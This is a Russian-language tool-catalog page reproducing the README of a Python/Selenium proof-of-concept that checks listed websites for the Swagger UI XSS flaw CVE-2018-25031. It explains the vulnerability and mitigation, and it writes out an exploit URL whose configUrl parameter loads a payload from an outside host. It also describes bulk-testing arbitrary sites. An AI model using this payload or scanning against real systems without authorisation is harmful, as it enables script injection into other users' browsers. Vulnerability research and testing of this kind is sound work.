Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-25031 — Python-скрипт для проверки концепции, демонстрирующий уязвимость XSS CVE-2018-25031 в Swagger UI с использованием Selenium для автоматического обнаружения на нескольких конечных точках. | Kitploit
Инструменты/GitHubGitHub/lucasrenaa/cve-2018-25031
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеБезопасность API
GitHublucasrenaa/cve-2018-25031

CVE-2018-25031

Python-скрипт для проверки концепции, демонстрирующий уязвимость XSS CVE-2018-25031 в Swagger UI с использованием Selenium для автоматического обнаружения на нескольких конечных точках.

Репозиторий
32 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PoC эксплуатации Cross-Site Scripting в Swagger UI: CVE-2018-25031 с использованием Selenium на Python

Этот репозиторий содержит скрипт на Python, демонстрирующий доказательство концепции (PoC) уязвимости межсайтового скриптинга (XSS) в Swagger UI с использованием библиотеки Selenium. Цель этой PoC — выявление сайтов, подверженных этой уязвимости, путём эксплуатации Swagger UI с вредоносной нагрузкой.

Уязвимость межсайтового скриптинга (XSS) в Swagger UI

Swagger UI — это широко используемый инструмент для просмотра и взаимодействия с API через удобный пользовательский интерфейс. Однако в версии 2.9.2 была обнаружена уязвимость межсайтового скриптинга (XSS), которая могла позволить атакующему внедрять вредоносный JavaScript-код в загружаемые страницы Swagger UI.

XSS возникает, когда приложение недостаточно корректно проверяет данные, введённые пользователем, перед их отображением на странице. В данном случае злоумышленник может воспользоваться уязвимостью, внедряя вредоносный JavaScript-код в поля ввода Swagger UI, который будет выполняться в контексте браузера других пользователей, открывающих ту же скомпрометированную страницу.

Пример XSS в Swagger UI

Примечание: Изображение выше иллюстрирует пример того, как злоумышленник может внедрить XSS-нагрузку в Swagger UI, используя уязвимость в затронутых версиях.

Митигирование и решение

Наиболее эффективный способ устранить эту уязвимость — убедиться, что Swagger UI обновлён до версии, которая не подвержена проблеме. Проверяйте последние версии Swagger UI и всегда поддерживайте его в актуальном состоянии.

Разработчикам, которые хотят использовать или настраивать Swagger UI, крайне важно выполнять надлежащую проверку входных данных перед их отображением в интерфейсе. Избегание прямой отрисовки HTML или JavaScript, введённого пользователями, является рекомендуемой практикой для предотвращения XSS-уязвимостей.

Пример эксплуатации

Вот упрощённый пример того, как уязвимость может быть использована через Swagger UI:

  1. Злоумышленник открывает уязвимый Swagger UI.
  2. Злоумышленник находит поле ввода, в которое можно вставить текст.
  3. Злоумышленник внедряет XSS-нагрузку в URL, например: http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
  4. Когда другие пользователи открывают ту же скомпрометированную страницу, XSS-нагрузка выполняется в их браузерах, отображая предупреждение с сообщением «Уязвимость XSS».

Предупреждение

Этот раздел предназначен исключительно для образовательных и информационных целей. Не поощряйте и не участвуйте в вредоносных или незаконных действиях. Всегда следуйте практике ответственного раскрытия информации при сообщении об уязвимостях.

Предварительные требования

Убедитесь, что у вас установлены следующие предварительные требования перед запуском скрипта:

  • Python: Убедитесь, что на вашей машине установлен Python.
  • Selenium: Установите библиотеку Selenium с помощью следующей команды:
    root@kitploit:~
    pip install selenium
    
  • ChromeDriver: Убедитесь, что установлен совместимый ChromeDriver. Вы можете загрузить ChromeDriver с официального сайта Selenium или использовать менеджер пакетов, например WebDriver Manager.

Как использовать скрипт

  1. Клонируйте или загрузите этот репозиторий на свою машину.

  2. Отредактируйте файл sites_para_testar.txt и вставьте URL-адреса сайтов, которые вы хотите протестировать, по одному в строке.

  3. Откройте терминал в папке репозитория и выполните скрипт следующей командой:

    root@kitploit:~
    python main.py
    
  4. Скрипт переберёт сайты, перечисленные в файле sites_para_testar.txt, откроет их URL-адреса Swagger UI и проверит, обнаружено ли XSS-предупреждение. Результаты будут записаны в три файла: valido.txt для потенциально уязвимых URL-адресов, talvezvalido.txt для URL-адресов, которые могут быть уязвимы, и naovalido.txt для не уязвимых URL-адресов.

Понимание скрипта

Скрипт использует библиотеку Selenium для автоматизации взаимодействия с браузером Chrome. Он загружает URL-адреса Swagger UI, указанные в файле sites_para_testar.txt, добавляет вредоносную нагрузку в параметр configUrl и проверяет, срабатывает ли XSS-предупреждение.

Скрипт выполняет следующие шаги:

  1. Импортирует необходимые библиотеки Selenium и другие зависимости.

  2. Настраивает параметры ChromeDriver для игнорирования ошибок SSL и сертификатов.

  3. Инициализирует драйвер Chrome.

  4. Читает сайты для тестирования из файла sites_para_testar.txt и выполняет по ним итерацию.

  5. Открывает каждый URL-адрес Swagger UI с добавленной вредоносной нагрузкой.

  6. Пытается проверить, срабатывает ли XSS-предупреждение.

  7. На основании результата проверки записывает URL-адреса в файлы valido.txt, talvezvalido.txt или naovalido.txt.

  8. Завершает работу драйвера Chrome.

Правовое предупреждение

Этот скрипт предоставляется исключительно в образовательных целях и для повышения осведомлённости о кибербезопасности. Его не следует использовать в вредоносных или незаконных целях. Автор не несёт ответственности за любое неправомерное использование этого скрипта или за любой ущерб, возникший в результате его использования.

Вклад

Если вы нашли способ улучшить этот скрипт или у вас есть предложения, не стесняйтесь создавать pull request.

Лицензия

Этот проект лицензирован под лицензией MIT.

Скачать инструмент